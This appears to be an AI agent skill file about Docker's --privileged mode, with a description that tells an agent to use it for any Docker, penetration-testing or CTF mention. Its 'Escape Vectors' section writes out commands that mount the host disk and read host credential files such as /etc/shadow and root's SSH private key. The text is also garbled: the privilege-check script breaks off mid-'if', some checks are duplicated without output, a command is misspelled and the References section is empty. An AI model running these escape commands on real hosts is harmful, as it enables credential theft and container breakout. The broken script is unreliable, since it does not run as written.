| name | docker-privileged-security |
| description | Analyze Docker --privileged container security implications, check if a container is privileged, and understand available escape vectors. Use this skill whenever the user mentions Docker containers, privileged mode, container security, privilege escalation, container escape, or CTF challenges involving Docker. Make sure to use this skill for any security research, penetration testing, or CTF scenarios involving Docker containers. |
Docker Privileged Container Security
This skill helps you understand the security implications of Docker's --privileged flag, check if you're running in a privileged container, and identify potential escape vectors for security research and CTF challenges.
What --privileged Does
When you run a container with --privileged, these protections are disabled:
1. Device Access (/dev)
All host devices become accessible in /dev/. This allows mounting the host disk directly.
Default container:
ls /dev
console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero
Privileged container:
ls /dev
cachefiles mapper port shm tty24 tty44 tty7 console mem psaux stderr tty25 tty45 tty8 core mqueue ptmx stdin tty26 tty46 tty9 cpu nbd0 pts stdout tty27 tty47 ttyS0
2. Kernel File Systems
Kernel file systems are mounted read-write instead of read-only, allowing kernel behavior modification.
Check:
mount | grep '(ro'
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
mount | grep '(ro'
3. Proc Masking
tmpfs overlays on sensitive /proc paths are removed, exposing kernel internals.
Check:
mount | grep '/proc.*tmpfs'
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
mount | grep '/proc.*tmpfs'
4. Linux Capabilities
All capabilities are granted instead of a limited set.
Check:
apk add -U libcap
apt-get install libcap2-bin
capsh --print
5. Seccomp
System call filtering is disabled.
Check:
grep Seccomp /proc/1/status
6. AppArmor
Mandatory access control profiles are disabled.
7. SELinux
Security labels are disabled, inheriting container engine labels.
Quick Privilege Check Script
Run this to quickly determine if you're in a privileged container:
#!/bin/bash
echo "=== Docker Privilege Check ==="
DEV_COUNT=$(ls /dev 2>/dev/null | wc -l)
echo "Device count: $DEV_COUNT (privileged typically > 50)"
SECCOMP=$(grep Seccomp /proc/1/status 2>/dev/null | awk '{print $2}')
echo "Seccomp: $SECCOMP (0 = disabled/privileged)"
SYSFS_RO=$(mount | grep 'sysfs on /sys' | grep -c 'ro')
echo "Sysfs read-only: $SYSFS_RO (0 = writable/privileged)"
PROC_TMPFS=$(mount | grep '/proc.*tmpfs' | wc -l)
echo "Proc tmpfs overlays: $PROC_TMPFS (0 = privileged)"
if command -v capsh &>/dev/null; then
CAP_COUNT=$(capsh --print 2>/dev/null | grep 'Bounding set' | tr ',' '\n' | wc -l)
echo "Capability count: $CAP_COUNT (privileged typically > 30)"
fi
if [ "$SECCOMP" = "0" ] && [ "$SYSFS_RO" = "0" ]; then
Escape Vectors
1. Mount Host Disk
Privileged containers can access host block devices:
ls /dev | grep -E 'sd[a-z]|nvme[0-9]+n[0-9]'
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
fdisk -l /dev/sda
2. Access Host Processes
Namespaces are NOT affected by --privileged. Use --pid=host flag or capabilities:
ps aux
gdb -p <host_pid>
3. Load Kernel Modules
With cap_sys_module capability:
insmod /path/to/module.ko
modprobe <module_name>
4. Network Access
With cap_net_admin and cap_net_raw:
ip link show
ip route add default via 192.168.1.1
cpdump -i eth0
5. Ptrace Other Processes
With cap_sys_ptrace:
gdb -p <pid>
strace -p <pid>
What --privileged Does NOT Affect
Namespaces
Even privileged containers don't see all host processes by default. To access host namespaces:
--pid=host
--net=host
--ipc=host
--uts=host
User Namespace
User namespaces cannot be disabled and enhance security by restricting privileges. Rootless containers require them.
Security Recommendations
- Never use --privileged unless absolutely necessary
- Use specific capabilities instead:
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN
- Drop unnecessary capabilities:
docker run --cap-drop=ALL --cap-add=CHOWN
- Implement seccomp profiles to limit system calls
- Enable AppArmor/SELinux for mandatory access control
- Use read-only filesystems where possible
- Use user namespaces for additional isolation
Manual Security Option Disabling
You can disable individual protections without --privileged:
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
--security-opt label:disable
References